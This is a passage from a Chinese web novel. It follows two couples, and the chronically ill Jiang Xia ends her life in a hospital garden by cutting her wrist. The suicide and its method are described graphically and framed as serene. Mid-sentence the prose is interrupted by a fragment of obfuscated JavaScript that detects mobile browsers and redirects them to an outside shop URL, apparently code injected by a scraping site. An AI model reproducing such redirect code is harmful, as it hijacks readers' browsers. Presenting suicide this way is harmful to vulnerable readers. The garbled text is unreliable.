冰川的融化,寂静无声,势不可挡。 她们在一起,似乎是一件再自然不过的事。没有惊天动地的告白,只是在某个夕阳很好的傍晚,并肩走在回家的路上,指节无意间触碰,便轻轻勾住,再也没有松开。 如果非要一个理由——陆晚枝后来想——大概是因为,江夏笑起来甜甜的。像熬过漫长冬季后,尝到的第一口蜂蜜。 两人的关系,不知怎么,还是传了出去。传到了江夏父母的耳里,也传到了陆晚枝养父母的家里。 陆晚枝的养父母听到后,只是沉默了一会儿。养父说:“下次……能不能带回家看看,是个什么样的姑娘?” 语气里没有责备,两人甚至默默给陆晚枝的生活费里,又多添了一些。 而江夏的父母,反应则截然不同,那是一种混合了羞耻和愤怒的爆发。 “丢人现眼!” “坏了家里的名声!” “你让你弟弟以后怎么娶老婆?!” 最伤人的话,往往来自最亲近的人。争吵的最后,江夏被反锁在房间里,整整两天,没有人送饭,只有透过门板传来的:“好好反省!” 陆晚枝当时并不知道这一切。是江尘实在看不下去,偷偷跑出来告诉了她。 两个年轻人又惊又怒,仓促间定下一个漏洞百出的逃跑计划。 江尘偷来钥匙,趁父母外出,陆晚枝在楼下接应,她们像做贼一样,把虚弱的江夏从那个“家”里带了出来,逃回了陆晚枝的小屋。 那晚,江夏见到了陆晚枝温和的养父母,吃了一顿久违的、热腾腾的家常饭。 可能是饿得太久又吃得太急,加上连日来的紧张惊恐,当天夜里,她就发起了高烧,上吐下泻,得了急性肠胃炎。 陆晚枝要送她去医院,江夏却死活不肯,抓住她的手腕,眼里全是抗拒:“不去……我不去!要去……我自己去!” 她对医院,或者说,对那种被审视、被控制、与封闭空间,产生了近乎本能的恐惧。 最后,是陆晚枝去药店买了药,守着她,一点点喂粥喂水,硬扛了过去。病不算特别重,却拖拖拉拉,伤了一阵元气。 大概……就是那段时间落下的根吧…… 60. 她(完) 回乡下过年的前一天,陈温决定再去一趟江夏那里。 陆晚枝用了一整夜的时间,把纷乱的情绪和千头万绪的“怎么办”理清了。 她放不下江夏,这点毋庸置疑。 但她更明白,现在的江夏,就像一只受惊后竖起所有尖刺的刺猬,她若贸然靠近,只会让对方应激般逃得更远,甚至彻底缩进壳里。 她得慢慢来。像最开始那样,一点一点靠近。 于是她起身,在厨房的晨光里,做了一盒大米布丁。牛奶、糖、慢慢熬煮到软糯的米粒。 这是她们刚工作、手头最紧的那段日子,江夏偶尔馋甜食时,陆晚枝常做的。原料简单,卖相朴素,江夏却总是吃得眼睛微微眯起来,说比外面卖的奶油蛋糕更安心,更好吃。。 陆晚枝将布丁装进精致的便当盒,在最底层,她藏了一小层切得细细的芒果丁——江夏最喜欢的水果。 如果她吃完,就会看到。如果她看到,或许……就会隐约猜到是谁做的,但是避免立刻被发现她没有放特别多的糖。 她把便当盒打包得极其漂亮,绑上了素雅的丝带,看上去完全像从哪家温馨的甜品店买回来的。 女生把盒子交给陈温,嘱托道:“麻烦你,带给她。别说是我做的。” 陈温点点头,接过像捧着一段具象化的心意,安慰道:“放心,保证完成任务!。” 陆晚枝把他送到电梯口,在最后关头,问出了一个有些奇怪的问题:“江夏的病房……具体在几楼?哪一边?” 陈温愣了一下,他并未刻意去记。努力回想了一下给出一个大概的方位:“好像是……住院部四楼,靠东边的走廊?我记得窗外能看到一个很大的花坛。” 陆晚枝没再追问,点了点头。 陈温没让沈泽许陪着。他想自己处理这件事,总不能事事都依赖对方,适当的“距离”产生美。 病房里很安静,江夏没有休息,眼神空茫地望向窗外。 听到开门的动静,她转过脸来。仅仅几天,江夏又瘦削了一些,眼下的淡青越发明显,整个人像一张被过度使用的纸。 “我来了。”陈温坐在椅子上,尽量让语气轻快些,“江夏姐,最近感觉怎么样?有没有哪里特别不舒服?” “还好。”江夏用一种近乎大言不惭的口吻开了个玩笑,“应该能撑到夏天。” 骗人。陈温瞧她毫无血色的嘴唇和单薄得像能被风吹走的肩膀,心里冒出这两个字。这模样,怎么看都不像“还好”。 “这是什么?”江夏的目光落在他手里拎着的盒子上。 “这是……”陈温第一次做这种“传递”的事,表情有些不自在,他把盒子放在床头柜上,“我给你带的好吃的,大米布丁。” 江夏整个人几不可察地僵了一下。她想过陈温可能会告诉陆晚枝,也为此做过心理准备。 可当“大米布丁”这四个字真的被说出来,像一把钥匙叩击记忆的锁,那股试图压下去的浪潮还是猛然涌了上来,让她几乎无法维持表面的平静。 “……是,是街道新开的那家甜品店买的,你看,这包装多好看啊。”陈温赶紧补充道,努力让语气显得自然。 江夏看向那系着丝带的盒子上停留了几秒。包装确实漂亮,不像陆晚枝会特意去弄的样子。 她心里那根绷紧的弦,稍稍松了一丝,可深处的不信,依然盘踞着。 “吃早餐了没?”陈温岔开话题,“要不要尝尝看怎么样?” “……好。” 陈温帮她拿出勺子,打开盒盖。浓郁的奶香和米香飘散出来。 江夏接过勺子,舀起一小勺,凑到嘴边。动作有些迟疑,仿佛这一口下去,会尝到某种判决。 她最终还是吃了进去。 大米软糯,牛奶香醇,口感顺滑……可是,不甜。几乎没什么甜味。 心湖泛起涟漪。陆晚枝知道她嗜甜,每次做这个,就算嘴上说着“吃太多糖不好”,手下还是会多放一小勺蜂蜜。 这个布丁,味道是对的,可那一点至关重要的的甜,缺席了。 ……不是她做的。 可为什么,还是会觉得失望呢? “怎么样?好吃吗?”陈温期待地问。 “还不错……”江夏低声说,舌尖下意识舔了一下嘴唇,像是要确认那不够分的甜味。不信邪地又挖了一勺,依旧是不温不火的清甜。 是她想多了。 “快过年了,”她放下勺子,转移话题,“打算去哪里玩?” “回乡下陪爷爷奶奶。没什么特别的计划。”陈温没察觉她细微的情绪变化,老实回答。 两人又闲聊了几句,陈温看她面露倦色,便起身告辞。 临走前,男生从包里拿出一本有些旧了的《活着》,“江夏姐你要不嫌弃,这本书……借你看看。在医院这段时间,要是无聊,可以拿来打发时间。” 病房里重归寂静。 江夏盯着那还剩大半的布丁,看了很久,勺子搁在一旁,没有再动。 她不知道,如果此刻她将视线从那份过于“标准”的甜点上移开,投向楼下——就能看见那个她在意的人。 陆晚枝到底还是来了。 她没上楼,只是远远站在住院部的小花坛边,仰着头,目光茫然地扫过那一扇扇整齐排列的玻璃窗。 她不知道江夏在哪一间,甚至不确定对方是否正看向窗外。 心脏在胸腔里不合时宜地怦怦直跳,快得有些发慌。明明没有对视,没有确认,连一个影子都捕捉不到。 可为什么,仅仅是站在这里,站在可能有她的地方之下,情绪无法平静? - 江夏从床上起来了。 天气很好,难得的冬日暖阳透过玻璃窗,晒得人后背暖洋洋的,几乎要生出一点关于“活着”的实感。 她挪到窗边,看了一会儿楼下稀疏的人影和光秃的枝桠。 然后,她转过身,朝邻床那位阿姨笑了笑,轻声向陪护的女儿问道:“可以借一下你的口红吗?就一会儿。” 女孩有些意外,但还是很快从包里拿出一支,递给她,“没有用过,可以直接涂。” 口红是很淡的粉红色,带着细腻的珠光。 江夏说了声“谢谢”后接过,走到洗手间那面小小的镜子前。 镜子里的人脸色苍白,嘴唇几乎没有颜色。 她旋出口红,对着镜子,很仔细地涂在唇上。粉润的颜色覆盖了原本的灰白,像干涸的土地渗入了一滴朝露。 涂好口红,她抿了抿唇,再看向镜中,气色似乎真的被这一点颜色提亮了些。至少,看起来不那么像……一个等死的人了。 江夏将用纸巾擦干净刚才触碰过唇瓣的那一小截膏体,才把它递还给邻床的女孩,又道了谢。 恰在这时,江尘推门进来了。 他手里拎着还热气腾腾的早餐,一眼就看见窗边的姐姐。 晨光给她的侧脸镀了层柔和的边,更让他愣住的是,姐姐的唇上竟有了一抹很淡的粉色。 他心头猛地一松,好笑地觉得昨天熬夜多跑的那几单外卖,值了。 “姐,吃点东西吧。”他声音都轻快了些。 江夏没说什么,顺从地回到床上。 这一次,她竟慢慢吃掉了差不多三分之一的早餐。米粥温热地滑入食道,带来一点踏实的暖意。 江尘看着她一勺一勺,把食物送进嘴里,咽下去,眼睛几乎要亮起来,真是太阳打西边出来了,开心得不知如何是好。 “今天……”江夏放下勺子,斟酌道:“能出去走走吗?” 江尘又惊又喜,几乎要跳起来。 “能!当然能!你等着,我去问问护士!” 他一阵风似的跑出去,又跑回来,脸上带着大大的笑容:“护士说可以,但不能太久,得穿暖和点!” 他像个忙碌的管家,又是拿厚外套,又是找毛衣,最后还抱了条厚厚的毛毯,全副武装,简直像要“拖家带口”去远征。 他小心翼翼地把江夏从床上扶起来,帮她一层层穿好,随后男生动作笨拙却无比轻柔地将她扶好。 “走咯,姐,咱们晒太阳去!” 江尘小心地搀扶着江夏,姐弟俩在冬日稀薄的阳光下慢慢走着,像一对在冰面上谨慎挪动的雏鸟。 江夏几乎将大半重量靠在弟弟并不宽阔却异常坚定的臂膀上。 路上,她气息微促,问起了家常:“家里……爸妈是不是又开始催你了?”她顿了顿,目光落在前面小径的落叶上,“这几年,有没有喜欢的人?有没有谈恋爱了?” 江尘扶着她胳膊的手紧了紧,耳根子以肉眼可见的速度泛红。 他支支吾吾,眼神飘忽:“姐……你怎么突然问这个。还、还早着呢。如果有……我肯定第一个告诉你。” 江夏没再追问,只是很淡地笑,那笑容里有些了然,也有些怅然。 走到一棵叶子落得差不多的老梧桐树下,两人停了下来,有只野猫在那舔毛。 “姐,你在这儿坐会儿,就这儿,别动。”江尘扶着江夏,让她慢慢在树下供人休息的石凳上坐下,又认真地把滑落的毛毯往上拉了拉,严严实实裹住她的肩和腿。 “我忘了带水,有点渴,跑回去拿一下,很快!两分钟!” 江夏颔首,气息有些不稳:“去吧,不急。” 江尘又不放心地看了她好几眼,这才转身,几乎是小跑着朝住院楼的方向去了。 周围一下子静了下来。 远处有人在低低的交谈,更远处是城市模糊的喧嚣。 江夏独自坐在石凳上,后背靠在冰凉粗糙的树干上。 梧桐树在冬天只剩下坚硬的骨骼,树荫稀薄,几乎谈不上遮蔽,但她却微微蜷缩了一下。 其实并不温暖。石凳沁着寒意,空气是干冷的,鼻尖有泥土的潮腥气,还有树皮缝隙里湿漉漉的、属于植物和腐朽落叶的味道。 江夏闭着眼,感觉有团东西跳到了石凳上。 她睁开眼。 是只黑猫,正揣着小手,端端正正坐在不远处。体型适中,不算丰腴也不算瘦削,一身墨色短毛在室内光下显得有些稀疏,隐约能看到底下淡粉的皮肤。 最引人注目的是它的眼睛——左眼是清澈的琥珀色,右眼则是剔透的冰蓝,像藏了两种不同的天气,安静地回望着她。 见人类醒了,它从喉咙里挤出细细一声:“喵。” 试探,或是问候。 江夏慢慢伸出手,手心悬在它头顶上方,顿了顿,才感落下。 触感比预想中粗糙些。黑猫猛地向后一缩,耳朵压平,喉咙里发出警告般的“哈——”。 江夏收回手。被拒绝是意料之中,野猫总是这样。 户外沁凉,她裹着的毛毯勉强够一个人保暖。她看了看猫,又看了看毯子。 沉默几秒后,她将毛毯从身上褪下,仔细对折两次,放在身旁空出的长椅上。 自己则往旁边挪了挪,给那团黑色让出更宽敞的位置,也让自己彻底暴露在微风里。 黑猫狐疑地盯着她的动作,又看看那叠好的、带着人体余温的毛毯。 它犹疑地上前,鼻尖翕动着,在那柔软的织物上仔细嗅闻了好几下。 片刻,它似乎确认了安全,尾巴放松地垂下,整个身子一蜷,稳稳地卧在了那叠毛毯上——那是此刻长椅上最温暖柔软的地方。 它眯起那双奇异的异瞳,喉咙里发出满足的咕噜声。 江夏坐在一旁,看着它安然享用那份让出的温暖,没有说话。 就这样,一个人一猫,静静地待一会儿。 周遭太安静了,安静得往事不由分说便漫了上来。 但为什么……偏偏是关于陆晚枝的?是她的大脑在用这种方式,徒劳地想要挽留她的生命,告诉自己“别放弃”吗? 她不想去想,可思绪像脱缰的马。 算了,就让脑子去想吧。 记忆最后的锚点,停在一个雨夜。 雷声沉闷地滚过天际,闪电偶尔撕裂黑暗。江夏不怕打雷,可那天晚上,意外地睡不着。胃里隐隐的抽痛和雨声混在一起,让她格外清醒。 玄关传来钥匙转动的声音,然后是脚步声。 陆晚枝带着一身水汽进了屋,外套都没脱,就摸黑走到床边,弯下腰,一把将人连被子带人搂进怀里,用脸颊蹭着江夏的发丝。 “我回来了。” “一身水,臭晚宝!”江夏被她冰得一激灵,伸手推她,“赶紧去洗澡,小心感冒。” 陆晚枝“嘿嘿”一笑,在她颈窝里又赖了两秒,才趿拉着拖鞋去了浴室。 水声哗哗响了一阵,她带着沐浴露的香味重新钻回被窝,手脚并用地缠上来,鼻尖蹭着江夏的后颈:“现在是香晚宝了。” 江夏由着她黏糊了一会儿,两人在被子里小声说话,肌肤相贴,呼吸交缠。 情动得自然而然,只是江夏身体终究虚着,结束时已有些气喘,额角渗出些汗。 陆晚枝侧躺着,手臂环着她,指尖有一下没一下地绕住她的头发。 江夏缓过气,抬手想去摸陆晚枝的脸,指节却无意间擦过她的发顶。 昏暗的夜灯下,一点刺眼的银白突兀地跳进视线。 她手指顿住,拨开那片黑色的发丝。 “你长白头发了。” “嗯?”陆晚枝猛地抬起头,一脸难以置信,“哪里!?” “这里。”江夏点那处,随即又发现了更多,“不止一根……有好几根。” “不会吧……”陆晚枝哀嚎一声,把脸埋进枕头,闷闷的声音传出来,“做程序员真的会未老先衰啊……”过了一会儿,她又转过身,用一种刻意搞怪的语气说:“夏夏,我也不知道怎么就长白头发了。你可别嫌弃我啊。” 江夏沉默了。她知道为什么。 她的胃病反反复复,陆晚枝这几周公司项目紧,天天加班到深夜,回来还要操心她的一日三餐和药,整个人像一根绷到极致的弦。她不长白头发,谁长? “你看过我嫌弃你了吗?”她终于开口,声音有些哑。 “当然没有!”陆晚枝接话,把她搂得更紧了些,声音软下来,“夏夏是小天使,才不会嫌弃我呢。” “行了,别皮了。”江夏拍她的背,“明天还要上班,早点睡吧。我再休息一天,估计也能回去当‘牛马’了。” 两人在夜里相视笑,带着相依为命的暖意。笑完,陆晚枝忽然又把脑袋凑过来,头发蹭着江夏的下巴。 “夏夏,”她小声说,“帮我拔掉吧。” 江夏有点吃惊,但还是“嗯”了一声,很轻、很仔细地,帮她拔掉了那几根早生的华发。 “啊!”陆晚枝发出一声短促的轻呼。 江夏顿住,捏起刚拔下的那根头发,凑到眼前仔细看了看——那是一根很奇怪的头发,下半截是刺眼的银白,发根处却依旧是浓密的黑色。 “你看。”她把那根头发递到陆晚枝眼前,说:“这根……不是全白的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171993|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆晚枝就着光线瞧,嘟囔了一句:“怎么还半白不黑的……”语气里那点刻意搞怪的夸张淡了下去,染上了一点疲惫。 房间里静了片刻,只有窗外淅淅沥沥的雨声。 “对了,”陆晚枝像是忽然想起什么,试探道:“我明天……临时要出个短差。可能……要两三天。你的生日……” “没事。”江夏打断她,声音平静得出奇,“你忙你的。”说完,她翻了个身,背对着陆晚枝,把被子拉高了些。 “生气了?”陆晚枝凑过去,手搭上她的肩膀,想把人扳过来看看。 江夏的身体绷紧了,没有动。 “才没有。”她的声音从被子里传出来,闷闷的,带着一丝极力压制的沙哑,“我困了,先睡了。” 陆晚枝的手僵在半空,她张了张嘴,想说什么,最终却只是无声地叹了口气,躺了回去,从背后将人拥进怀里。 江夏没有推开,也没有回应。 她紧闭双眼,泪水无声地浸湿了一小片枕头,喉咙里堵着酸涩的哽咽,被她死死压了回去。 她不是任性的人。 她只是觉得……累。为陆晚枝感到累。 生日过不过,真的不重要。蛋糕、蜡烛、一句“生日快乐”,有没有都行。 她只是不想看到陆晚枝为了兼顾“正常生活”的仪式感和照顾她这个日渐沉重的包袱,把自己一点一点熬干。 像一根蜡烛,两头都在烧。 其实最早发现身体不对劲的时候,江夏就想好了。她们没有那么多钱。 想不治了,找个没人认识的地方,安静地离开,像水消失在水中。 不拖累任何人,尤其是陆晚枝。 可她还是没忍住。那天看到缩在纸箱里瑟瑟发抖、对着她细声细气叫唤的小奶猫,她蹲下去,看了很久。 心里有个声音说:你连自己都照顾不好,拿什么负责另一个生命? 另一个声音却在微弱地反驳:也许……养了它,就有了一个必须好好活着的理由? 江夏把它带回了家,取名“大少”,笨手笨脚地学着照顾小家伙。 她对自己说,不能再那么悲观了,要试着活下去,为了这只小东西,也为了那个眼睛亮晶晶看向她说“我养你”的人。 她以为抓住了那根名叫“希望”的蛛丝。 可那今晚,她还是觉得自己是个拖累。那根蛛丝,根本承受不住两个人的重量,正在将另一头的人,也拽向深渊。 计划,该重新启动了。这次,不能再心软。 江夏翻开过陈温留下的那本《活着》。 她看得很慢,断断续续,目光常常停在某一页,很久才翻过去。她看到了富贵背着他的儿子去上学,在一片荒芜里,对孩子说,日子会好起来的。 “鸡养大了变成了鹅,鹅长大了变成了羊,羊长大了就变成了牛。” 她盯着那行字,看了很久。 亲情她有。友情她也有。爱情呢?大概也是有的。 可它们都没能留住江夏。 她说:“别拉着我走了。” 江尘在路上耽搁了一会儿。 经过医院小花园那个装饰性喷泉时,他看见几个小孩正急得团团转,眼泪在眼眶里打转——有人的彩色小皮球掉进了喷泉池中央。 池水虽不深,但对孩子来说已是“汪洋”,喷泉的水柱又大,孩子根本够不着。 江尘几乎没怎么犹豫,说了句“哥哥帮你”,便麻利地卷起裤腿,踩进刺骨的池水里,几步走过去,捞起皮球,递还给破涕为笑的主人,还顺手揉了揉对方的脑袋。 就这么一耽搁。 他往回跑的时候,心里还想着,待会儿肯定要被姐姐念叨,说他毛毛躁躁,也不知道冷。 可他再也没有机会被江夏骂了。 江夏还是坐在那张石凳上,靠着老梧桐树,姿势几乎没变,毛毯被叠好放在一边,野猫不见踪影。 冬日稀薄的阳光洒在她身上,甚至给人一种温暖的错觉。 只是她双眼紧闭,面容是一种近乎诡异的安详,仿佛只是睡着了,陷入了一个再也不会醒来的美梦。 江尘的视线下移,笑容凝固在脸上,血液似乎在瞬间冻住了。 她的左手无力地垂在身侧,手腕处,一道深可见骨的伤口触目惊心。 鲜血早已不再奔涌,而是以一种缓慢、粘稠的态势,浸透了她浅色的袖口,滴落在枯黄的草地上,洇开一大片暗红。 枯草上有一颗棱角锋利的石头,上面沾了点血。 更令人心头发冷的是,江夏竟“贴心”地在手腕下方垫了一个不知道从哪里找来的黑色塑料袋,接住了大部分流下的血,仿佛在尽力避免弄脏环境。 江尘站在原地,一动不动。 周围散步的人开始察觉到异常。有人停下脚步,疑惑地张望。 其中一人惊呼:“血!好多血!” “快!快去叫医生!叫护士!” 杂乱的脚步声响起,有人朝着住院楼的方向狂奔。这片原本安宁的角落,瞬间被惊慌和骚动吞没。 这片骚动像一把钝锤,终于砸碎了江尘周身的冰壳。 他猛地一颤,喉咙里挤出一点破碎的、不成调的气音。然后,他动了。 脚步踉跄,像个被姐姐教会蹒跚学步的孩童,又像是背负着千斤重担,朝那棵梧桐树下的石凳挪去。 江尘“扑通”一声,直挺挺地跪倒在石凳前的水泥地上。 他伸出颤抖得无法自控的手,似乎想去碰一碰江夏的手腕,又在即将触碰到那片刺目的鲜红时,如同被灼伤般猛地缩回。 他抬起头,看江夏安详得近乎圣洁的侧脸,那张脸上再也没有了病痛的蹙眉,也没有了看向他时的温柔。 一根弦断了。 江尘哭了出来。声音先是闷在喉咙里,而后猛然放开,嚎啕着,肩膀剧烈耸动。 长命锁没有锁住寻死的人。 - 陈林峰他们中午才能到惠州,在那之前,陈温还能再闲一会儿。 他本是高兴的,想着下午就能见到小狗了。直到手机响起,屏幕上跳出“江尘”的名字。 接起电话,那头的声音很平,没什么起伏地说:“陈温,你来医院一趟吧。” 陈温以为是书看完了,要还他,或者江夏有什么话想说。便问:“怎么了?” 那头沉默了几秒。然后江尘说:“那本《活着》你拿回去吧。” 陈温“哦”了一声,还没反应过来,又问:“江夏姐呢?” “她走了。” 陈温举着手机,突然觉得耳朵里嗡嗡作响,什么也听不见了。 “把陆晚枝的微信推给我吧。”江尘解释道,“这件事,该由我来说。” 陈温喉咙发紧,只应了声“好”。 电话挂断后,他盯着暗下去的手机屏幕,愣了几秒。 僵硬地点开通讯录,陈温找到陆晚枝的名字,复制,粘贴,发送。 做完这一切,他握着手机,站在房间中央,心里空荡荡的,什么滋味都有,又好像什么滋味都辨不分明。 门锁轻响,沈泽许推门进来,手里拎着刚买的东西。 陈温闻声抬起头,视线对上沈泽许的瞬间,一直强撑的什么东西忽然塌了。 他没说话,几步走过去,将额头抵在沈泽许肩头,手臂环过他的腰,把自己埋了进去。 肩膀开始控制不住地颤抖。没有声音,只有温热的湿意,慢慢洇湿了沈泽许胸前的衣料。 61. 把你打包到非洲挖矿当苦力 变故来得太快,像没有预兆的塌方。 陆晚枝盯着手机屏幕。一条是江尘的好友申请,另一条,是他发来的、关于江夏的消息。 只有短短几行字,她却看了很久,久到眼前的字符开始扭曲、浮动。 呼吸变得困难,胸口像被一只手攥紧、拧转,传来一阵切实的、削骨剜心般的剧痛。 公司离住处近,她请假回去了一趟。昨天熬了大夜赶一个紧要的项目,衣服没换,身上还带着隔夜的疲惫和烟味。 原本想着,这个项目拿下,能多一笔钱,可以悄悄转给江尘,贴补江夏的治疗。陆晚枝存着一丝渺茫的臆想:也许哪天,江夏愿意跟她坦白,愿意再见她一面。 现在,这一切都成了徒劳。 这几天发生的事,像零散的碎片,在陆晚枝脑子里反复冲撞。 她忍不住怀疑:江夏是不是……真的不爱她了? 所以才能走得这么干脆,连最后一面,都不愿意见。 电梯门“叮”一声打开。 陆晚枝一抬眼,正撞见站在走廊里的陈温和沈泽许。 陈温低着头,手里捧着一本书,正盯着它出神。男生似乎感觉到书页间有什么异物,翻开——一个发夹掉了出来,落在掌心。 怪不得一直觉得这书拿着有点鼓囊。 发夹是粉色的,塑料兔子造型,边缘的铁质部分已经生了暗红的锈,粉色的漆也斑驳脱落了几块。 陈温捏着它,猜是江夏的。 电梯门完全打开的声音让他抬起头,正对上陆晚枝有些恍惚的目光。 陈温怔了一下,几乎是下意识地,将手掌递了过去,摊开。 “江夏的……”他声音极低,顿了顿,又补了两个字,“节哀。” 那两个字传入耳朵。里面有两层意思,陆晚枝听懂了。一层是“我明白你有多痛”,另一层是“也希望你保重自己,不要过度沉溺于哀伤”。 陆晚枝的目光落在发夹上,那只曾经可爱的米菲兔,如今斑驳残破。她眼尾蓦地一热,鼻腔涌上酸涩,连带着太阳穴也突突地疼起来。 是高中时,她在小树林捡到、又还给江夏的那一只。 她没想到。这么多年了,江夏还留着。 谁也没有说话。 死寂的走廊里,只有楼隐约传来唱K的欢声笑语,透过墙壁和地板,闷闷地渗上来。 有人在唱一首很老的歌,《当爱己成往事》调子拖得长长的,带着醉意的欢腾: “往事不要再提,人生已多风雨……” 陆晚枝攥紧了手心,指甲几乎要嵌进肉里。另一只手扶住直跳的太阳穴,身体晃了一下,像是被那歌声,或是被手里的发夹,抽走了最后一点力气。 她闭了闭眼,额角渗出细密的冷汗。 陈温下意识上前一步,伸手虚扶住她的胳膊:“晚枝姐……还好吗?要不要去看看医生?” 陆晚枝摇摇头,幅度很小,她从口袋里摸出钥匙,打开了那扇紧闭的房门。 陆晚枝想简单收拾一下自己。 最后一面,总要体面些。虽然江夏看不见了,可万一……万一真有灵魂呢?陆晚枝从来不信这些。 什么“妖魔鬼怪”,什么“神仙佛祖”,她都觉得是脆弱的人编出来骗自己的。 人死如灯灭,烧成灰,扬了,就什么都没了。 可现在的她,愿意信了。 她愿意相信有魂灵飘荡在风里,江夏要是看见她这副邋遢疲惫的模样,心里会更不好受的。 屋里黑漆漆一片,能听见大少在沙发角落里发出的呼噜声。它什么都不知道。 明天就过年了。按老家的说法,年关前后,不好大动。现在只能简单做个仪式,把人送走。真正的告别,要得等到年后。 人走了,心反倒诡异地静了下来。 那些纠缠的疑问、隐隐的怨怼,此刻都失了重量,没了着落。 想了又能怎样呢?都没有意义了。 她现在只愿一件事——江夏能给她留了点什么。哪怕只有一张纸,几行字,潦草也好,绝情也罢。 给她一点确凿的证据,证明她们之间那些年,不是她一个人的幻梦;给她一点可以牵挂的东西。 准备换鞋,手却被占着。陆晚枝想把发夹暂放鞋柜。低头时,瞥见卡扣缝里有一点细长的反光,亮得扎眼。 她抬手,“啪”的一声,摁亮了玄关顶灯。 强光直直落下。 陆晚枝捏着发夹,凑到眼下,手开始抖。 卡扣缝隙里,死死卡着一根较长的头发。下半截是刺眼的银白,发根处是深黑色。 女生将它举到灯下,看了又看,比了又比。指节冰凉,呼吸滞在喉咙里。 然后腿一软,整个人沿着门板滑了下去,跌坐在地砖上。 发夹从指间滑落,掉在身边。 哭声是这时候才涌上来的。像被整个扔进深海,咸涩的海水从眼睛、鼻子、喉咙里一起倒灌进来。 陆晚枝蜷起身,额头抵着膝盖,肩膀剧烈地耸动,却发不出像样的声音,大口大口地呼吸着。 她错了,她不应该怀疑江夏不爱她的…… 可能是背靠着墙的缘故,楼下的歌声又模模糊糊传上来: “忘了我就没有痛,将往事留在风中……” - 陈温和沈泽许对视了一眼。 他能听见隔壁压抑到极致的哭声,心里发紧,担心陆晚枝的状态。 可他也明白,成年人消化这种程度的情绪,需要一个不被注视的、绝对独立的空间。强行闯入或安慰,有时反而是打扰。 他牵起沈泽许的手,默默走回隔壁。 房门在两人身后关上,“嘭”的一声轻响,隔开了两个世界。 陈温忍不住叹了口气。声音很轻,但那无奈和沉重的意味,明眼人都听得出来。 沈泽许盯着他低垂的眉眼和微微蹙起的眉头,没说什么安慰的话。 他伸出手,用拇指和食指捏了捏陈温脸颊上那点还未完全褪去的、柔软的婴儿肥,然后托住他的下巴,让他抬起头,看向自己。 动作带着不容抗拒的温柔,眼神相触的瞬间,陈温紧绷的肩颈线条,几不可察地松了一丝。 这简单的触碰,对此刻的陈温来说,已是“最大的慰藉”。 见陈温神色稍缓,沈泽许的指腹便又不安分起来,顺着他的脸颊揉捏,像在把玩一块柔软温热的发面馒头,带着点孩子气的亲昵和安抚。 陈温被他揉得有些痒,耳根发热,终于忍不住抬手,抓住了对方作乱的手指:“别闹了……” 沈泽许顺势反握住他的手,指腹无意识地摩挲着他的指节。目光落在他额前略长的碎发上,开口道: “小宝,你头发又长了。” 陈温“嗯”了一声,对这个突如其来的旧称有些怔忡,但没反驳,神色依旧淡淡的。 “不剪吗?”沈泽许问,“现在不剪,就得等到年后。但年后要开学了,根本没空去理发店。下学期……主任估计要狠抓仪容仪表了,你这样子,”他伸手,撩了一下陈温额前快遮到眼睛的碎发,“肯定过不了关。” “不想剪。”陈温回答得很快,带着点抗拒。 话音落下,他自己也愣了一下,随即又想到自己被陈林峰剃“光头发”的那段日子,心头便是一沉。 那件事,他还没跟沈泽许提过。也高兴不起来。 他垂下眼,没再说话。 “为什么?”沈泽许这次没打算让他含糊过去,又问了一遍,眼神定定地看着他。 “嗯……”陈温被问住了,一时语塞。他没办法说出真正的原因,只好胡乱编了个借口,“因为……楼下面的理发店,又贵,剪得又难看。不想去。” 沈泽许没立刻接话,微微歪了歪头,像是在掂量他这话的真假。 过了一会儿,才开口:“那我给你剪,怎么样?”语气仿佛在讨论今天 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沈泽许站在他身后,正低头专注地看着手机屏幕,里面传出“居家理发简易教程”的机械女声。 陈温从镜子里瞥见这一幕,只觉得身后站着的不是他男朋友,而是一个即将行刑的、临时抱佛脚的刽子手。 “你……真的会剪吗?”陈温发出灵魂拷问。 “不相信我?”沈泽许闻言抬起头,从镜子里对上他惊恐的眼神,挑了下眉,随即干脆地关掉了手机教程。 他拿起桌上那把普通得不能再普通的家用剪刀,平时用来剪包装袋的那种,和一把细齿梳,架势摆得倒是挺足。 陈温回头,用眼神充分表达了自己的怀疑和悲壮:“你觉得呢?” “别乱动。”沈泽许伸手,把他的脑袋扳正回去,“坐好。” “我开始了?”他宣布,然后用梳子挑起陈温头顶一小撮头发,剪刀的寒光在陈温余光里一闪。 他瞬间汗毛倒竖,身体僵硬得像块石头。 在剪刀即将合拢的最后一刻,男生终于忍不住,猛地抬手抓住了沈泽许的手腕! “等等!沈泽许!我不是不相信你……就是,万一,我是说万一!你把我头发剪坏了怎么办?我变难看了怎么办?!”他语速飞快,想最后挣扎一下。 “不可能的事。”沈泽许回答得斩钉截铁,试图抽回手,“你别乱动,小心我真剪歪了。” 陈温死死抓住不放,祭出“威胁”的话:“你要是敢把我头发剪毁,我就……我就把你打包到非洲挖矿当苦力!” “这么狠心?”沈泽许被他逗笑了,低头看着陈温紧张得发白又强装凶狠的脸,忽然起了坏心。 他凑近,飞快地在陈温紧抿的嘴唇上亲了一口,特别轻,伴有一丝薄荷的凉意。 “我还想着说,如果真剪坏了就陪你一起剃个寸头呢,那现在我可要好好剪了,”他退开一点笑道,“不能让我的男朋友一气之下就见不到我了。” 陈温被这个突如其来的吻亲得脑袋“嗡”了一下,脸颊爆红,抓着他的手也不自觉地松了力道。 趁他晕乎乎的功夫,沈泽许已经重新执起剪刀,动作居然流畅起来。 “咔嚓。” 第一声轻响。 陈温闭上眼,彻底放弃了抵抗,一副听天由命的样子。 耳边是剪刀飞舞的“咔嚓”声,还有梳子划过发丝的触感。 暖阳透过玻璃窗,斜洒在两人身上,客厅像糊了一层蜂蜜。 陈温鼻尖萦绕着一股淡淡的薄荷茉莉花香,大概是沈泽许今天用的洗发水或者须后水的味道。 什么时候结束的,他有点记不清了。 只记得最后沈泽许拿掉他身上的塑料袋,用海绵扫掉他脖子上的碎发,然后扳着他的肩膀,让他转向镜子。 “睁眼看看,沈Tony的手艺怎么样?” 陈温忐忑地睁开眼,看向镜中的自己。 62. 那我就不想了 